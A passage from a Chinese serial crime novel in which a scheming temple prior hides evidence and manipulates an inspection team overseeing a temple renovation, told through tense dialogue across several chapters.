“谷局!”现场有人最先看见了谷庄,忙不迭地迎了上来。
鄂建设也停下了那高亢的指斥,转身看着谷庄,脸上瞬间挤出笑容,扯着嗓子问候:“谷局!您亲自来了!”
“这现场灰尘太大,您看……”一边说着,一边快步小跑到谷庄面前,动作幅度大得带起地上细微的尘土。
谷庄随意地摆了下手,示意无妨,声音里没有任何情绪起伏,只是简单地传达道:“江书记最新指示,修缮工程确保安全是第一位的,进度也要科学安排,严控质量。”
“请江书记放心!”鄂建设,一副胸有成竹的架势,用力拍了下胸膛,“有我在现场盯着,绝对保质保量!”话语掷地有声,仿佛在宣誓。
修缮出了质量问题,他是逃不掉的,所以鄂建设不敢掉以轻心。
角落里传来硬底皮鞋踩踏在破碎瓦砾上的清脆声响。
林方政朝他们走了过来。
他面色阴沉,几步便跨到谷庄近前,几乎撞上旁边鄂建设挥舞的图纸卷筒。
林方政掏出手机,屏幕上那几张清晰拍下的照片赫然暴露在谷庄眼前。
屏幕上的画面清晰得刺眼。
库房外墙根处,一片浓密的青苔覆盖着墙基。
青苔的边缘有一道极细微的、几乎与苔色融为一体的深色污渍。
那颜色更深,更沉。
林方政又划拉一下。
在大雄宝殿后方,一片明显新近被翻动过的泥地。
那里的泥土颜色深褐、颗粒松散,与周围板结发黑、长着稀疏杂草的老土形成刺眼的对比。
“谷局,”林方政的声音压得很低,却像绷紧的弓弦一样充满迫力,“你看库房外墙根、大雄宝殿后方两处,明显被动过手脚,还很新鲜,如果我们挖开检查一下!”
他深吸一口气,锐利的目光直接钉在谷庄的脸上,“我敢保证——只要现在组织人手,朝这两处深挖下去,掘开这层皮,刨开这层土!”
“一定能揪出里面意想不到的东西!”
“它们就埋在那儿!”
谷庄脸上的笑容骤然僵硬了一下,眼角肌肉不易察觉地微微跳动。
谷庄的目光锐利如鹰隼,在屏幕上那几张触目惊心的照片上短暂停留,只短短几秒。
随即,他眼皮微微垂下一瞬,再次抬起时,那份锐利已被一种深潭般的平静所取代。
他压低声音:“别打草惊蛇,暂时不要管,现在不是时候,我们知道就行。”
林方政脸上红白交错,张了张嘴,最终只是悻悻地嘀咕了一句:“……这……”便不甘地退后半步,闭上了嘴,眼神却带着明显的阴翳扫过谷庄的脸。
“照片上的情况我知道了。先不必组织人挖,稳住。”
他的视线从林方政脸上移开,投向远处覆盖着蓝色防尘布、在脚手架下沉默矗立的殿宇,话语简洁而果断,“打草惊蛇,不是时候。我们知道就行。”
“知道?!”林方政的呼吸陡然加重,握紧的拳头在身侧收紧又松开。
手机屏幕上那些冰冷的证据仿佛在灼烧他的掌心。
“这明显是有人在我们进场前仓促搞的名堂!埋得越深越说明有问题!”
他每一个字都像是从牙齿缝里硬生生挤出来的,“难道就这么眼睁睁看着?”
“那什么时候才是动手的合适时机?”他逼视着谷庄,胸膛起伏,那股子压抑的火气几乎要冲破理智。
周围的空气骤然凝固。
工地的噪音似乎都在这一刻被短暂屏蔽。
附近几个工人停下了手里的活计,目光惊疑地瞟向这边。
几个工作组成员也下意识地停下手中的记录或交谈,屏息观望。
谷庄并没有立刻回答。
他沉默了两三秒,目光依旧望着远处殿宇那斑驳的蓝色围挡和沉默的脚手架轮廓。
片刻后,谷庄才收回视线,重新落在林方政那双燃烧着不甘和焦灼的眼睛上。
他嘴角牵起一个极其轻微的、近乎于无的弧度,那算不上一个笑。
更像是某种更深沉的东西划破水面的一道涟漪。
“快了。”谷庄的声音很轻,像是自言自语,又像是一种笃定的预言。
仅仅两个字,随即湮没在重新喧嚣起来的工地震响里。
他没有再做任何解释,仿佛这两个字已经承载了全部答案。
他不再看林方政的反应,迈开步子,径直朝着被防尘布围住的大殿正门方向走去。
那挺拔的身影穿梭在杂乱的木材堆和喧嚣的工人中,显得异常沉稳、笃定,仿佛汹涌潮水中的礁石。
鄂建设长吁了一口气,立刻挺直了腰板,脸上重新挤出那种带着掌控意味的浮夸表情。“干活!都愣着干什么?!”
“工期紧任务重,都给我盯紧了手里的活儿!”
林方政站在原地,谷庄那句轻飘飘却重若千钧的“快了”在他耳边反复回荡。
他看着谷庄消失在殿门内防尘布缝隙间的背影,脸上那激愤的红潮渐渐褪去,取而代之的是一种深沉的、几乎化为实质的冰冷疑云。
他缓缓将手机塞回裤袋,手指擦过那硬质的手机边缘时,动作滞涩了一下。
当那个负责在远处窗口监视工作组行动的小和尚连滚带爬地把“工作组暂停查账,全组人马都扑到工地去了”的消息带进东妙精舍时,监院东妙正盘腿坐在临窗的禅榻上。
他手里拈着的那串微光润泽的檀香木佛珠停止了转动。
一颗饱满的珠子被卡在拇指与食指之间,不再滑动。
小和尚伏在地上,还在喘着气说:“……组长,两个副组长,都去了!”
“那个姓林的,还与姓谷的组长嚷嚷,很不服气……只是听不清在争执什么,声音太小…”
第210章 退下吧
东妙没有立刻回应。
他只是微微仰起头,视线投向精舍窗格之外的一方澄澈蓝天。
那片蓝倒映在他眼底,却未带来丝毫宁静。
他深潭似的眼眸深处,一丝如同冰层裂开缝隙的光芒骤然亮起。
随即又被更深的幽暗所吞没。
那是一种猎人目睹猎物终于踏入预设陷阱深处时的、残酷而纯粹的狂喜。
足足有半盏茶的时间。
房间里只有小和尚粗重的喘息和自己微不可闻的呼吸声。
终于,他拈着佛珠的手指轻轻动了一下。
“唔……”一个悠长而满足的单音从胸腔深处震荡而出。
他徐徐垂首,目光落回地面上跪伏的人影,脸上那种沉静如水、拈花微笑般的平和表象重新覆盖上来,将刚才那瞬间泄露的狂澜消弭无形,完美得如同这间精致禅房本身。
“佛爷在上,”东妙的声音带着一种悲悯而又洞察一切的腔调缓缓响起,如同古钟余韵,“人心鬼蜮,机关算尽,到头来,还不是被因果业力牵回了正途?”
“既知回头是岸,也免堕无边苦海。”那串搁在掌中温润如凝脂的古檀念珠又开始在他指间不急不缓地滑动,每一颗都散发着岁月的沉静光泽。
“我们只管敲我们的晨钟暮鼓,做他们的指路明灯就是。”
“退下吧。”他的语气平淡无波。
等小和尚轻手轻脚地退出去,把沉重的木门无声合拢,这间布置得富丽清雅的禅房里,便只剩下炉中袅袅的檀香,以及东妙自己越来越无法抑制的、如擂鼓般在胸腔内震荡的心跳。
指间那一直规律滑动着的佛珠骤然停顿。
他猛地攥紧手心,将那上等的檀木珠子死死勒进掌心柔软的肉里,一种尖锐的刺痛感伴随着前所未有的兴奋,窜上他的脑髓。
那点刺痛反而让他脸上那层精心构筑的平静骤然破碎剥落。
一个近乎扭曲的笑容爬上了他的嘴角,拉扯着眼角的细纹。
那份陡然激增的压力终于找到了泄洪的出口。
“哼!”一声从鼻子里喷出的、带着强烈鄙夷和不屑的冷哼打破了室内的寂静。
他站起身,踱到敞开的雕花木窗前。
远处工地上各种嘈杂的声响被风断续地送来:尖锐的电锯声、沉闷的敲击、人声呼喝……
这些纷杂的声音,此刻落入他耳中,却像是敌人丢盔弃甲后狼狈逃窜的哀鸣。
他胸膛里那团压抑太久、滚烫的石头,终于被这声响搅动着翻腾起来。
他盯着工地方向,目光锐利如能穿透庭院的重重树影和殿阁飞檐,直抵那热火朝天的核心。
“这才识趣!”他的声音不高,却像淬了毒的冰凌,每个字都冒着刺骨的寒意,“哼,与我东妙斗?保管叫你……”
后面的话语他没有吐出,只是死死抿住嘴唇,脸上的肌肉微微抽搐。
那些在心里盘旋已久的诅咒——寸步难行?夜不能寐?提心吊胆?
最终化作了喉咙深处一声几乎压不住的、带着胜利意味的低沉嗤笑。
斗室之内,一种无形的、令人窒息的自得和掌控感如同墨滴入水般迅速弥漫开来。
香炉里的线香无声地燃烧着,灰白的长烬弯曲、断裂、跌落。
东妙精舍厚重的木门被小心翼翼地推开了缝隙。
一个身影如同一道贴着地面滑行的幽灵侧身闪了进来,脚步轻捷得踏在光洁的青石地面上竟不发出丝毫声响。
来人身形精瘦剽悍,穿着一套洗得微微发白的深灰短打僧衣,袖口与裤脚都利落地紧扎着。
他剃得很短的头发茬下,是一张棱角过于分明、仿佛刀削斧劈般的面孔,颧骨高耸,皮肤是常年受风吹日晒的粗糙褐黄。
一双眼睛不大,却亮得惊人,眼神专注得如同捕猎前的鹞鹰,透着一股与佛门清净之地格格不入的肃杀之气。
是明厉。
他利落地合上门,几步走到正闭目盘膝而坐、神色似乎无比安宁的东妙面前。
他双手合十当胸,行礼的动作带着习武之人特有的简洁劲道。
但躬身下去时,那劲瘦的腰背却绷得像一张拉满的硬弓。
“监院。”明厉的声音低沉而短促,像金属在皮革上快速摩擦,“他们的眼睛都粘在砖瓦木料上了。”
“我们是按兵不动,还是……?”
东妙依旧双目微合,仿佛早已知道明厉的到来与发问。
他那只捏着檀香念珠的手掌稳如磐石,指腹缓慢地、不疾不徐地捻动着一颗颗饱满圆润的珠子。
室内只剩下炉中香线燃烧的细微声息,和那珠子被轻捻着转动时发出的、几乎难以察觉的沙沙声。
半晌,那紧闭的眼皮才微微掀开一道缝隙。
一抹微冷的余光从缝隙中流出。
如同月下寒潭反射的碎冰,扫过明厉因等待而更加绷紧的面孔。
“敌变我变,”东妙那干枯的嘴唇微微翕动,吐出的字句平直冷漠,如同冰珠子砸落玉盘,不带半分涟漪。“敌不变,我亦不变。”
他捻动念珠的指尖停在当下一颗,用了点力,骨节泛白。
眼睛并未完全睁开,只是那道缝隙里泻出的光更加锋利冰冷,像淬了毒的针尖。“眼下是起风了,但不是我们动手的风。静观其变!”
这四个字,他咬得极重,清晰地砸在寂静的空气中,带着不容置疑的封口意味。
明厉眉峰微不可察地一耸,眼神中掠过一丝询问的微芒。
他似乎在等待着监院下达进一步的指令,或是给出一点关于“变”的蛛丝马迹。
他的身体依旧保持着那种预备随时爆发力量的姿态。
然而东妙没有更多的话语。
那双微启的眼帘已经重新垂落,将里面的寒光彻底遮蔽。
他挺直的脊梁松弛下来,微微向后靠向禅榻冰凉的壁板,整个人再次沉浸在一种近乎入定的、对周身外物无动于衷的状态里。
只有他捻动珠串的手指,依旧在一颗、一颗地缓慢转动,如同无情的摆锤,丈量着沉默的时光。
明厉眼中那点微光闪烁了几下,最终完全沉寂下去,重新化为古井般的幽潭。
他不再多问,深深欠身再行一礼。
僧衣下紧实的肌肉线条随着动作悄然起伏。
他无声地退后几步,转身,轻捷得如同一只敏捷的山猫,悄无声息地拉开房门,瘦削的身影迅速闪入庭院被夕阳拉长的、摇曳不定的浓重暗影之中,仿佛从未来过。
只留下那扇门极轻地掩合,没有发出一丝声息。
幽室重归寂静。
窗外,修缮工地的噪音仍旧喧嚣着,穿透空气传来,锯木钻地,却愈发显得这禅房深处凝固的安谧,如同沉入海底的渊潭。
东妙维持着刚才的姿态良久。
他终于睁开眼,那双眼里清明一片,哪里还有半分之前的疲惫或入定。
他站起身,脚步悄无声息,缓步踱到门后墙角那个毫不起眼的杂物柜前。
柜面上蒙着一层薄薄的尘迹,角落随意堆着些经卷、磨得光滑的木质工具箱和几卷闲置的蓝色防尘布。
东妙伸出手,却不是要拿经卷或工具。
第211章 吉利?
他的手指精准地伸向柜子最上层内里的角落缝隙处,动作轻微地一勾一提。
只听极其细微的一声“咔哒”轻响,一小块木板竟被无声地抽动开来。
木板下方,出现一个仅有两指深、巴掌大小的狭长暗格。
里面静静躺着几样东西:几卷裹成小指粗细的白色纸条被仔细捆扎,一柄用油布包裹住刃口的、带着乌光冷气的锋利小型单刀,还有几张不同姓名的崭新身份证件,均是不同的名字,陌生男人冰冷的面容与他有几分相似。
他凝视着暗格里的物件,脸上没有任何表情,只有眼底深处如同深海的磷光,闪烁了一下又迅速熄灭。
这些冰冷的物事映在他瞳仁里,又沉没下去,不留痕迹。
就在这时,一阵由远及近、略显拖沓又带着点刻意张扬的脚步声打破了精舍附近的宁静。
那脚步声停在门外,紧接着便响起了毫不客气的、用指节叩击门框的声音——梆、梆、梆!
“东妙监院在吧?”一个粗犷的、带着某种粗粝沙哑的嗓音伴着敲门声同时响起。
鄂建设!
那语气里带着一种自以为是的熟稔,根本不等回应。
东妙的眼神瞬间起了变化,前一秒还如同磐石般深不可测的瞳孔,在瞬间切换为一种谦恭、和顺的微光。
他手指异常平稳地、几乎是眨眼间便将那块抽开的薄木板滑回原位,将那黑暗的缝隙完全遮蔽。
动作行云流水,没带起一丝灰尘,没发出一丝声响。
当他直起身转向门口时,那张脸仿佛瞬间被抹去了所有棱角与冷硬,只剩下温和与恰到好处的疑惑。
门已被推开,鄂建设那张泛着油光的圆脸出现在门口,脸上堆着过于熟悉的笑容。
“监院,忙着呢?打扰打扰!”鄂建设嗓门依然洪亮,像在工地上一样。
他似乎压根没注意,或者并不在意房间里是否该保持佛门清静。
他一只脚踏进来,目光飞快地扫过室内,掠过窗边的东妙和他背后的杂物柜,落在角落里堆着的卷成圆形的厚重蓝色防尘布上。
那布的颜色和他眼下最关心的工地围挡几乎一模一样,只是崭新得有些刺眼。
鄂建设的手指朝着那边用力一点:“正好!监院,工地顶上有一块围挡,被落下的横梁砸下撕成两半了!”
“得换!赶紧换新的!”那语气理所当然,近乎命令,“江**指示,安全无小事!”
“那块破布都遮不住风,万一砸着人,谁担得起?啊?”
东妙的脸上,那副谦恭温和的面具瞬间覆盖了前一秒的冷硬。
他微微欠身,双手合十当胸一礼,姿态无可挑剔:“阿弥陀佛,鄂组长心系安全,考虑周详,小僧感佩。”
他话语如同缓缓流淌的温吞水,每一个字都带着抚慰人心的温度,“寺里库房还有足量的新布,早已备下,只待调用。”
“贫僧这就……”
话未说完,鄂建设已经大大咧咧地一摆手,直接截断了他那套即将展开的周全辞令:“嗐!你们库房那堆东西我还不知道?”
“旧的旧的!风吹了日晒了几个月,早没了当初那股韧劲儿!”
他的目光,像锥子一样重新锐利起来,再次刺向墙角的那一卷新布。
那颜色是当下最时兴的工业靛蓝,崭新得甚至带着出厂包装的压痕光亮,与库房里那种用日晒雨淋褪色后的浑浊蓝截然不同。
“我看这一卷就挺好!色泽正,厚实!”
鄂建设一边说着,一边极其自然地上前几步,伸出粗短的手指,竟要去触摸最近那卷布的边缘,“我瞧瞧,够韧不够韧?风吹破了可不行!”
就在他的指尖即将触碰到那冰凉防水的工业布料表面时,东妙不着痕迹地上前半步。
这半步的移动极其精妙,既不显得突兀阻挡,又恰好挡在了鄂建设和那卷布之间。
鄂建设那带着些许汗渍的手只能顿在空气中,离目标仅隔寸许。
“鄂组长莫急。”东妙的笑容纹丝未变,依旧是春风化雨,但眼底深处却掠过一丝冰针般的微芒,瞬间隐没在慈悲的眼波之下。
他袖袍轻拂,那串沉甸甸的檀香木佛珠不动声色地贴上了鄂建设前伸的手腕内侧,一股温厚却不容忽视的力道传递过去,让鄂建设的手下意识地往回缩了半寸。
佛珠温润的古木质感冰凉,贴着鄂建设腕部汗津津的皮肤。
“工
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欲善其事,必先利其器。”东妙的声音放得更缓,如同古寺悠远的诵经调,“库房里的布,确是早前储备的,为防不时之需,特意避光储放,韧性尚可。”
“至于这一卷……”他微微侧身,抬手虚引,“实不相瞒,乃是信众为此次修缮特意新捐的供奉,堆在这里,是为了图个吉利,沾染沾染佛殿开光的祥瑞气。”
“未经开光诵经加持之物上得佛殿,恐冲撞了佛祖法相,怕是不妥。”
他微微一顿,目光诚恳地看着鄂建设,眼里的光清澈见底,仿佛真在为了工地的安全万无一失而殚精竭虑:“况且,组长深谙工程,自然知道顶棚围挡换新不是小事,布匹用量规格都要预先核对备足。”
“待贫僧立刻命人去库房清点齐整。”
“今日下午申时前,一定将足质足量、最合用也最吉利的新布,运抵现场,断不会误了工期安全,如何?”
“吉利?”鄂建设咧了咧嘴,鼻腔里发出一声明显不信、带着浓重鼻音的嗤笑,那声音像被堵塞的烟囱。
他晃了晃那颗粗壮的脖子,眼神里的狐疑并未散去,反而如投石入水,漾起更大的涟漪。
他扫过东妙那张温和的笑脸,又瞟了一眼那几卷崭新得刺眼的布匹,最终,那带着油汗的手指烦躁地挠了挠自己粗糙的下巴颏。“搞这些个神神叨叨,真是……扯臊!”
他似乎还想说些更冲的话,但东妙那种滴水不漏的圆融和搬出佛祖的名义,让他一时找不到更强硬的突破口。
“行行行!”他带着极大的不耐烦,挥了挥手,像是在驱赶烦人的苍蝇,“监院你可得麻利点!”
“下午四点!最迟下午四点!”
“我就在工地边等着!人一到立刻换上!”
“江**盯着这事呢,别掉链子!”
他又瞪了东妙一眼,视线在精舍里又快速扫荡了一圈,仿佛要穿透墙壁搜寻什么。
最终没发现更多异样,才悻悻地哼了一声,转身咚咚咚地迈着沉重的步子离去。
那扇雕花木门被他顺手“哐当”一声带上。
巨大的回响震得精舍梁柱上积年的微尘簌簌而落,在从窗棂透入的斜阳光柱里无声飞舞。
第212章 他会批吗?
沉重的门扉合拢的余音尚在梁上盘旋,门扉上精细的木雕花鸟仿佛被震得瑟瑟发抖。
门闩落下的那声轻“咔”响起瞬间。
东妙脸上的春风瞬间冻结、崩解、剥落,如同冬日窗上薄薄的凝霜被沸水浇透。
刚才那份恰到好处的谦卑与温润荡然无存,那张脸皮下的筋肉瞬间绷紧、扭曲,眉宇间拧出一道深深的、深可见骨的竖沟。
额角一根平时绝不显眼的青筋猛地突起。
随着他愈发急促低沉的呼吸,突突地搏动着,像一条暴怒的蚯蚓在皮下拱动。
东妙一阵后怕,只觉得一股冰冷的毒火沿着他的脊椎猛地窜上后脑,几乎要冲破天灵盖!
他那双刚才还清澈慈悲的眼眸,此刻如同暗沉沉的古潭底,骤然翻涌起剧毒的墨色涡流。
指间那串温润的檀木佛珠被他死力攥住,珠子挤压着指骨发出令人牙酸的“咯咯”轻响。
这一卷布真要让这个姓鄂的拿去用,那才后果不堪设想,简直是灭顶之灾!
足足过了十几个憋闷到窒息的呼吸,他才猛地吸进一口冰凉的、带着檀灰气息的空气。
那口气像是要强行压住从肺腑深处翻涌上来的血腥。
“明厉!”声音沙哑干涩,像破裂的陶瓮。
几乎没有间隙,那扇门刚刚合拢的阴影处,如同无声溶解在黑暗中的一道墨色人形重新凝结。
明厉那张棱角锋利、面无表情的脸从角落的暗影里探了出来,依旧是躬身垂首,动作精确得如同一把出鞘待命的短刀。
他似乎早已等候在外,对里面发生的一切了然于心。
“去办一件大事!”东妙几乎是咬着后槽牙,一字一顿地从齿缝里挤出这句话,每一个字都带着淬炼后的剧毒寒意,“出了事,唯你是问。”
他没有半句废话,不再虚与委蛇,将那层温和的袈裟彻底撕下。“下午申时前,新布运到工地……现场!”
他猛地嗤笑一声,那笑声在寂静的精舍里干涩而刺耳,“库房里那些风吹雨打的腌臜物能堵住他鄂建设的嘴?”
他猛地转身,动作凌厉得带起一股风,袖袍翻飞间,几步就跨回刚才的墙角。
那只干瘦但此刻蕴含着千斤力道的右手伸出,手指精准、冷硬地拾起一块零碎的防尘布布匹。
与那一卷工业布料是同款,或者说就是它的一部分。
那动作快如鹰隼攫兔。
刺啦!
一声极其突兀、令人头皮发麻的撕裂声划破了精舍的沉寂!
东妙的手指如同五根铁钩,硬生生从那厚实的、韧性极佳的工业防水布上,悍然撕扯下一块巴掌大小的不规则碎布片!
边缘处的纤维被暴力扯断,呈现出犬牙交错的**茬,仿佛带着无声的、愤怒的嘶鸣。
他将那块小小的、还带着冰冷工业质感和胶底气息的蓝布碎片,几乎是带着杀气地砸在了身后一步距离的明厉胸口!
明厉的身躯微微一震,那块冰冷的蓝布碎片紧贴着他灰色的僧衣落下,被他闪电般抬手接住,攥入掌心。
他没有低头看一眼,那双鹰隼般锐利的眼睛牢牢锁在东妙杀气腾腾的背影上。
“带上它!立刻!”东妙的命令如同淬冰的**射出,每一个字都带着高速旋转的破空尖啸。
他猛然回身,那双深潭眼眸此刻倒映着窗格透进的最后一点斜阳余晖,却燃烧着地狱般的幽暗火光,“照这厚度!就这颜色!城西‘永利布行’!”
“现在就去!找张胖子!”
“告诉他,按着这料子的款,给我弄足八十丈新货!”
“一分钱不许少他的!”
“让他点好货立刻送到库房门口!绝不能出一点纰漏!赶在下午三点前送到!”
“八十丈?”明厉的声音终于有了细微的波动,像寒冰裂开一道小缝。这数目远超常备所需。
“八十丈!一块边角都不能少!”东妙的低吼如同受伤野兽的咆哮,但被他死死压在了喉咙深处,化作一种令人心悸的嘶鸣,“鄂建设要看足质足量的新布?”
“那就给他看个够!”
“撑也要撑死他这条贪得无厌的狗!”那布片就是证据,足以搪塞任何“核对”之名。
他喘了一口气,胸膛剧烈起伏,眼睛里的疯狂却如同燎原野火愈烧愈旺,语速快如爆豆:“同时——通知库房的志远!让他马上动手,把库房里剩下的那批‘货’!”
“所有捆扎好的‘旧布’!全部!立刻!混进之
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前清运走的废梁渣土垃圾里!后山倾倒场!”
“彻底处理掉!分毫痕迹不许留!”
“听明白没有?!”他死死盯着明厉,眼珠因为充血微微凸出,“现在就去!两条线!并行!手脚要快!要稳!要干净!”
每一个“要”字,都像是从铁砧上锤打出来的火星四溅的命令。
明厉那张仿佛亘古不变的脸上,骤然绷紧如一张拉到极限的强弓。
他深深吸了一口气,如同即将跃入冰海的猎豹,胸口肉眼可见地快速起伏了一下。
“明白!只是?”
“只是什么?”东妙捻着佛珠的手指停住了,眼皮微抬,锐利的目光像针一样刺过去。
殿外风过檐角的呜咽声似乎都静了一瞬。
“只是现在下山,”明厉喉结滚动了一下,声音压得更沉,“得要姓谷的批条子才行。”
他刻意避开了“谷组长”这个称谓,“姓谷的”三个字带着一种硬邦邦的疏离和忌惮。
东妙那双深陷的眼珠子极其缓慢地转动了一下,如同老谋深算的棋手在审视棋盘上的关键一步。
一丝近乎冷酷的算计在他眼底深处闪过。“你打一张条子,”他开口,声音平稳得不带一丝波澜,像在吩咐一件最寻常的寺务,“让姓谷的批一下。”
“他会批吗?”明厉脱口而出,眉头紧锁。
“哼。”东妙鼻腔里发出一声短促的轻哼,带着洞悉人心的了然和一丝不易察觉的嘲讽。
“出家人为修缮庙宇尽一分心力,”他慢悠悠地开口,每个字都像浸透了香油,圆滑无比,“买些工业用布,既作围挡,又遮盖木料,防尘防雨,减少他们的开支损耗。”
“谷——”他刻意顿了一下,才吐出那个称呼,“——组长,会拒绝?”
他反问的语气异常笃定,仿佛已经看透了对方的心思,“你当他们的钱是大风刮来的呀?”
“他们巴不得修缮的钱全部由我们寺里出呢!”
说到这里,东妙捻着佛珠的手指猛地一收,将珠子紧紧攥在手心,话锋陡然变得冷硬如铁,每一个字都像淬了冰的钉子:“带空皮卡去装!”
“不要‘永利布行’他们送货上山。”
“明白吗?”
第213章 批一张条子
那“永利布行”四个字,被东妙咬得格外重,眼神锐利如刀,直刺明厉眼底。
“还有,那姓谷的批的字条要保留好,知道吗?”
“为什么?”
“另有用处!明白吗?”
“明白!”明厉声音短促如刀锋劈落。
明厉不明白,可是他不敢再问。
监院自然有它的用心!
他甚至不再行多余的礼节,捏着那块破碎的蓝色布片的手瞬间收拢成铁拳。
身体骤然回旋,僧衣下摆猛地扫开空气,发出一声锐利的裂帛之音。
人影化作一道疾驰的灰色闪电,迅疾无比地拉开精舍那扇沉重的木门,如同一支离弦的劲**,“嗖”地射入庭院深处之中!
东妙的手掌落在那卷被捆扎得结实滚圆的布卷上,掌心与粗糙的帆布表面接触,发出沉闷而短促的“噗”一声响。
他的嘴角向上扯开一个弧度,那笑容里没有一丝暖意,唯有深不见底的幽暗和一丝令人心悸的得意。
他的声音压得很低,几乎是在耳语,却又清晰地撞在四壁堆积的杂物上,带着一种奇异的回响:“这里的秘密啊……”
他顿了顿,指尖用力地在那层厚厚的工业布料上摁了一下,“这玄机……嘿,这疙瘩里的弯弯绕绕啊。”
“怕是只有西天宝座上的佛祖他老人家,才看得透喽。”
“才真真知晓哩。”
那卷布匹纹丝不动,沉默地承受着他的拍打。
像一个守口如瓶的哑巴,将所有可能的答案都死死封存在密实的纤维深处。
空气中弥漫着经年尘土、微弱霉味和凝固桐油混杂的气息。
光线晦暗,勾勒出东妙挺直的鼻梁和下颌锐利的线条,那阴鸷的笑意仿佛刻在石头上。
他不再看那布卷,转身,脚步无声地融入更深的阴影里。
留下那卷厚重的布匹在微弱的光柱下。
像一个巨大而沉重的谜团,凝固在死寂的空气中。
明厉忙完库房的事后,来到了谷庄那间卧室兼办公室的禅房里。
明厉站在谷庄的桌前,姿态谦和得恰到好处,双手微微交叠放在身前。
脸上挂着一副诚挚得无懈可击的笑容,那笑容似乎能融化最坚硬的寒冰。
他开口,每一个音节都像是被精心打磨过,圆润、饱满,又带着一种奇特的、仿佛浸润了佛前灯盏里上等芝麻香油的滑腻感,流淌在安静的室内:“谷组长,您看,咱们出家人,讲究个‘庄严国土,利乐有情’。”
“这庙宇修缮,本就是功德无量的善举。”
他微微向前倾身,语气愈发恳切,“我们寺里呢,也总想着为这份功德尽一分绵薄之力。”
“为政府分担一些开支,给国家减轻些负担。”
他观察着谷庄的表情,见对方没有打断的意思,便继续沿着那圆滑的腔调往下说,“眼下工地上,缺乏围挡,还有那些木料堆着,风吹日晒雨淋,损耗大是不是?”
“东妙监院就想着,要是能批一张条子,让寺里派人下山去采购些工业用布回来,问题就解决了!”
明厉摊开双手,仿佛在展示一个显而易见的妙策:“您想啊,这布用处可大了!”
“即可做围挡,又可盖在木料堆上,防雨水渗透,保护公家财产。”
“这木料损耗小了,政府的修缮开支自然也就省下来了。”
“我们出家人别的做不了,只能在这方面实实在在为政府分忧解点难啊!”
他脸上的笑容纹丝不动,眼神却像最精密的探针,捕捉着谷庄脸上每一丝细微的变化。
谷庄抬眼,目光落在明厉那张笑容可掬的脸上,眼神里带着一丝不易察觉的审视:“哦?工业用布?”
“寺里……自己没布了?”
他的声音不高,却像一把无形的尺子,丈量着对方话语里的虚实。
“没有!绝对没有了!”明厉立刻摇头,那动作幅度不大,却带着一种斩钉截铁的肯定。
“寺里您也是知道的,库房这些年放的那些旧料子,都朽烂得不成样子了,拿去遮料子?怕是风一吹就散了架子!根本使唤不动啦!”
“我们,我们早就将它们做废料当垃圾倒了。”
他的声音拔高了一度,脸上的诚挚瞬间又加重了几分,甚至带上了一点恰到好处的委屈,“谷组长,您要是不信,咱
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们现在就可以去库房看一眼!”
“眼见为实嘛!”
“保管您看完了就明白,空荡荡的,连块像样的包袱皮都难找出来。”
“确实是什么都剩不下了,一片也寻摸不出来的!”
“出家人不打诳语,您一看就明白了!”他微微挺直了背脊,仿佛随时准备引路。
办公室里静了片刻,只有谷庄指尖敲击桌面的笃笃声。
阳光在他微蹙的眉间投下一小片阴影。
为政府分忧解难……减少开支……寺里主动承担……这几个词在他脑子里打着转。
修缮资金紧张是事实,寺庙方面愿意主动承担一部分物资采购,听起来似乎确实合乎情理,也能缓解一些财政压力。
他敲击桌面的手指停了下来,那短暂的空隙里,空气似乎凝滞了一瞬。
终于,他身体微微前倾,从鼻子里发出一声沉稳的:“嗯。”
算是初步认可了这个提议。
“车呢?”谷庄紧接着抛出了下一个关键问题,目光锐利起来,“运输怎么解决?”
“这会儿正是寺庙修缮的节骨眼,堆料不少。”
“来来往往的生车,司机路线不熟,像无头苍蝇乱冲乱闯,万一磕着碰着工人,或者损坏了古建,这安全责任谁来担?”
“施工进度也要受大影响。”
他条理清晰地点出可能的隐患,这是他的职责所在。
明厉似乎早就准备好了答案,脸上的笑容没有丝毫慌乱,反而更添了几分从容:“谷组长您考虑得太周到了!”
“您说的这些隐患,我们哪能不考虑?”
“所以啊,我们根本就没打算麻烦外面的车。”
他语速平稳,带着一种令人信服的把握,“寺里自己就有一辆皮卡车。”
“虽然旧点,但拉点布匹材料绝对没问题。”
“司机都是寺里的老人,对寺里每一条路径、每一个角落都熟悉得跟自己手掌心似的。”
“拉上货,稳稳当当就送上山,指定不会给您添乱,也不会耽误施工队一分钟的活儿!”
他微微躬身,姿态放得极低,“您看,这样安排,是不是更稳妥?”
第214章 坐卧不安
谷庄的目光在明厉脸上停留了几秒,那圆滑得如同包了浆的话语似乎无懈可击。
他拿起桌上的钢笔,笔帽在手中无意识地转动了一下,金属反射的阳光在桌面跳跃。
片刻的权衡后,他拉开抽屉,取出一份批条,拔开笔帽。
钢笔尖划过纸张的沙沙声在安静的办公室里格外清晰。
他写得很快,落笔却带着一种不容置疑的分量。
“好吧!”两个字吐得干净利落,带着一种事务性的痛快,“注意安全,快去快回。”
他把签好字的批条向前一推,纸张滑过光滑的桌面,停在明厉面前。
“多谢谷组长!”
“为庙里、为政府分忧解难,是我们出家人的应有之义。”
“您放心,一定办得妥妥当当!”明厉双手接过那张薄薄的纸,脸上的笑容瞬间绽开,仿佛接到了无上法旨。
他小心地将批条折好,放进内袋。
又躬身行了个礼,这才脚步轻快地退了出来。
那扇木门在他身后无声地合拢,隔断了外面明亮的阳光和里面刚刚落定的决策。
一辆皮卡车的引擎被压到最低,车子碾过铺着碎石的小径,声音被浓密的树影和厚实的围墙吸收了大半。
只留下一缕若有若无的尾气,向山下疾驰而去。
……
下午四点。
修缮工地上尘土飞扬,锯木声、敲击声、工人的吆喝声混杂在一起,一片繁忙景象。
鄂建设戴着安全帽,粗糙的手指正捏着一块啃了一半的馒头。
他在监督着工人施工,对于质量问题,不敢有丝毫马虎。
他脸上沾着灰,汗水在额头上冲开几道泥沟。
就在这时,三个年轻僧人吃力地推着一辆平板车过来,车上正堆着数卷工业布。
“鄂局,布来了!东妙监院让送过来的!”为首的年轻僧人抹了把汗,喘着气说。
鄂建设漫不经心地“嗯”了一声,目光随意地扫过那些布卷。
他随手把剩下的馒头塞进嘴里,腾出手,漫无目的地伸向最近的一卷布匹边缘露出的布头。
指尖触碰到布料的刹那,鄂建设咀嚼的动作猛地一僵。
那感觉……不对劲!
这布料的质地异常厚实、坚韧。
远非寻常工地围挡用的那种单薄、粗糙的廉价货可比。
他下意识地用力捻了捻,又用指甲在布面上刮了一下。
布面密实得几乎找不到经纬缝隙,刮上去只留下一点微不可察的白痕。
他心头一跳,猛地弯下腰,双手抓住那卷布的一角,憋足了力气狠狠一扯!
